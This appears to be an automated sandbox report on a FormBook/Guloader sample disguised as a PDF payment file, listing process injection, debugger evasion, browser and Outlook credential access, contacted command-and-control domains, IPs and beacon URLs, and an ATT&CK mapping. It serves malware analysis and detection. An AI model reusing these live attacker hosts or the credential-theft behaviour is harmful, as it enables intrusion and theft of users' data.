Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FC51D mov eax, dword ptr fs:[00000030h]	6_2_334FC51D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33491514 mov eax, dword ptr fs:[00000030h]	6_2_33491514
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348252B mov eax, dword ptr fs:[00000030h]	6_2_3348252B

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_00405F47 LdrInitializeThunk,RegOpenKeyExA,

4_2_00405F47

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 164.88.252.122 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 157.7.107.119 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.189.114.27 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 37.140.192.187 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 81.169.145.171 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.148.17.67 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 169.150.247.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.0.239.145 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 96.44.182.131 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.206.192.10 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.79.96.115 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 43.154.67.170 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 119.18.54.51 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.148.134.218 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Section loaded: unknown target: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\ipconfig.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF608DF0000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\ipconfig.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF608DF0000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Thread APC queued: target process: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\ipconfig.exe

Thread register set: target process: 5324

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process created: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Jump to behavior
Source: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000002.93123081945.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000000.88610239775.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88746951266.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000002.93123081945.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000000.88610239775.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88746951266.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000002.93123081945.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000000.88610239775.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88746951266.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000002.93123081945.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000000.88610239775.0000000001790000.00000002.00000001.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88746951266.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000B.00000002.93156604659.000000000D662000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D656000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89852179483.000000000D662000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndt

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

4_2_00403312

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\ipconfig.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\ipconfig.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	12 Virtualization/Sandbox Evasion	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	612 Process Injection	1 Access Token Manipulation	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 DLL Side-Loading	612 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	5 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	6 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	5 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PAYNOW_2023_08_002783pdf.exe	100%	Avira	HEUR/AGEN.1363703
PAYNOW_2023_08_002783pdf.exe	45%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.ladakhzesmo.com/aw8o/?5Nag0d=JHyqG6c0VkX+12EdRRnMiv591CJu3XVJOhv6jqyuy3yB/QILPRQMYUaLAuC7PLR0Wsfx0havIXAbx1R+v/HWlYVUV6jOtwoJGQ==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
http://www.americanpawnstar.com/aw8o/?5Nag0d=GBOw3tITmfDYzPv1Gplg/OBQ6u+M49Yd381yHdPnhZfF1keMrdAtO6STXIkAR++l8WXoCS7jpfWLq35hpjVKbHNe3A10AVq0Vg==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
http://www.makeinai.online/aw8o/?5Nag0d=Z2SlshpjDmCLPst06Qi+JFXKDGQYf8gROk5BMlMdRNl1FjrvM4bV9ulbwCJKqwnS3126m2Ov8Vo6zIoHm7sQKyRsJClYwnnytw==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
http://www.fgnvcmef.click/aw8o/	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.openlend.lat	0%	Avira URL Cloud	safe
http://www.wobita.net/aw8o/	0%	Avira URL Cloud	safe
http://joshsmithonwpf.wordpress.com)	0%	Avira URL Cloud	safe
http://www.americanpawnstar.com/aw8o/	0%	Avira URL Cloud	safe
http://www.sonokmall.info/aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
http://www.sonokmall.info/aw8o/	0%	Avira URL Cloud	safe
http://www.zenturasolutions.com/64	0%	Avira URL Cloud	safe
http://www.ishikorori.com/aw8o/	0%	Avira URL Cloud	safe
http://aegisknight.org/cppinterface.html	0%	Avira URL Cloud	safe
http://www.m7q374.cfd/aw8o/?5Nag0d=nhv7d1UsR641C1xsYG7yI3kkUS0KzPRqVFV4UCeq	0%	Avira URL Cloud	safe
http://www.jzakmrs.com/aw8o/?5Nag0d=P9HCUXaAtiQA1IUHrdj568qn2J4VZTbaJLJ4HjZJ2bXRJ49evu27iYt0AAEF/8+Qg/+K9eznhDIT37Q75CWHf/bcv/JSZ786mw==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
https://outlook.comY	0%	Avira URL Cloud	safe
http://www.openlend.lat/aw8o/	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://www.fgnvcmef.click/aw8o/?5Nag0d=UlesByQg80m2WU0HDzVqUrsp1T02gVtkfCYiA++RXBnPIn/5M6wMAOepf8n8DD5LZF3oeyXHwwFgl9CxkHjE1ZdlQoQaBX7voA==&OxdTJ=brp0GrP84QCc	0%	Avira URL Cloud	safe
http://www.legalinmedia.online/aw8o/	100%	Avira URL Cloud	phishing
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://www.zenturasolutions.com/aw8o/?5Nag0d=taxf5j588OeYZZ7u8xH1eBnKDxsrb249ZHPrEnAhG3HGAn0ZxHMys4u	0%	Avira URL Cloud	safe
https://www.openlend.lat/aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJes	100%	Avira URL Cloud	malware
http://www.galasoft.ch/license_MIT.txt	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
http://www.zenturasolutions.com/	0%	Avira URL Cloud	safe
http://ishikorori.com/aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.ishikorori.com	157.7.107.119	true	true	unknown
www.makeinai.online	37.140.192.187	true	true	unknown
www.m7q374.cfd	107.148.134.218	true	true	unknown
www.zenturasolutions.com	127.0.0.1	true	false	unknown
www.openlend.lat	169.150.247.39	true	true	unknown
handsome-sex.com	96.44.182.131	true	true	unknown
www.legalinmedia.online	91.189.114.27	true	true	unknown
wobita.net	81.169.145.171	true	true	unknown
www.sonokmall.info	162.0.239.145	true	true	unknown
www.americanpawnstar.com	154.206.192.10	true	true	unknown
www.ladakhzesmo.com	119.18.54.51	true	true	unknown
www.fgnvcmef.click	43.154.67.170	true	true	unknown
www.jzakmrs.com	164.88.252.122	true	true	unknown
wolfcapital.top	51.79.96.115	true	true	unknown
drive.google.com	142.250.184.206	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.65	true	false	high
www.kepaoqin.top	107.148.17.67	true	true	unknown
www.handsome-sex.com	unknown	unknown	true	unknown
www.babagroup.xyz	unknown	unknown	true	unknown
www.wobita.net	unknown	unknown	true	unknown
doc-00-7o-docs.googleusercontent.com	unknown	unknown	false	high
www.wolfcapital.top	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.fgnvcmef.click/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.wobita.net/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.ladakhzesmo.com/aw8o/?5Nag0d=JHyqG6c0VkX+12EdRRnMiv591CJu3XVJOhv6jqyuy3yB/QILPRQMYUaLAuC7PLR0Wsfx0havIXAbx1R+v/HWlYVUV6jOtwoJGQ==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
http://www.americanpawnstar.com/aw8o/?5Nag0d=GBOw3tITmfDYzPv1Gplg/OBQ6u+M49Yd381yHdPnhZfF1keMrdAtO6STXIkAR++l8WXoCS7jpfWLq35hpjVKbHNe3A10AVq0Vg==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
https://doc-00-7o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lca5re9et6nac4aq1b2c22o1cs/1693341750000/10873453270860308796/*/1fayl07woraJr0TR9XXo8cS5umDc-PpmU?e=download&uuid=8d8141af-0f63-4ded-a808-c182721a055e	false		high
http://www.americanpawnstar.com/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.makeinai.online/aw8o/?5Nag0d=Z2SlshpjDmCLPst06Qi+JFXKDGQYf8gROk5BMlMdRNl1FjrvM4bV9ulbwCJKqwnS3126m2Ov8Vo6zIoHm7sQKyRsJClYwnnytw==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
http://www.sonokmall.info/aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
http://www.sonokmall.info/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.ishikorori.com/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.jzakmrs.com/aw8o/?5Nag0d=P9HCUXaAtiQA1IUHrdj568qn2J4VZTbaJLJ4HjZJ2bXRJ49evu27iYt0AAEF/8+Qg/+K9eznhDIT37Q75CWHf/bcv/JSZ786mw==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
http://www.openlend.lat/aw8o/	true	Avira URL Cloud: safe	unknown
http://www.fgnvcmef.click/aw8o/?5Nag0d=UlesByQg80m2WU0HDzVqUrsp1T02gVtkfCYiA++RXBnPIn/5M6wMAOepf8n8DD5LZF3oeyXHwwFgl9CxkHjE1ZdlQoQaBX7voA==&OxdTJ=brp0GrP84QCc	true	Avira URL Cloud: safe	unknown
http://www.legalinmedia.online/aw8o/	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.msn.com/de-ch/shopping?pid=98017897939	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JgArPAA=/Condition/AAehyQC.svg	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	false		high
https://www.msn.com/de-de/finanzen/top-stories/zahlreiche-deutsche-autos-auf-havarierter-fremantle-h	explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/natalie-portmans-botschaft-an-jenni-hermoso-zum-fall-rub	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	1577Z44ZL.9.dr	false		high
http://www.openlend.lat	explorer.exe, 0000000B.00000002.93150795021.000000000B167000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/ClassId(	explorer.exe, 0000000B.00000003.89857437602.0000000009D65000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89214774004.0000000009D65000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93145426068.0000000009D65000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.nic.ru/catalog/ssl/	ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/heftiger-sturm-auf-mallorca-sonnenliegen-fliegen-durch-d	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/bundesanwaltschaft-klagt-algerischen-ex-verteidigungsmin	explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
